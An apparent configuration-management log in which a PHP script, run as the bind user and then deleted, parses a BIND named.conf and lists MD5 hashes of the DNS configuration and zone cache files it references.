MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 16:18:40: Establishing a connection
2026-04-30 16:18:41: 

PUT: /tmp/pkp419413

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 16:18:41: 

runuser -l bind -s /bin/bash -c '/tmp/pkp419413; rm /tmp/pkp419413'

2026-04-30 16:18:41: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
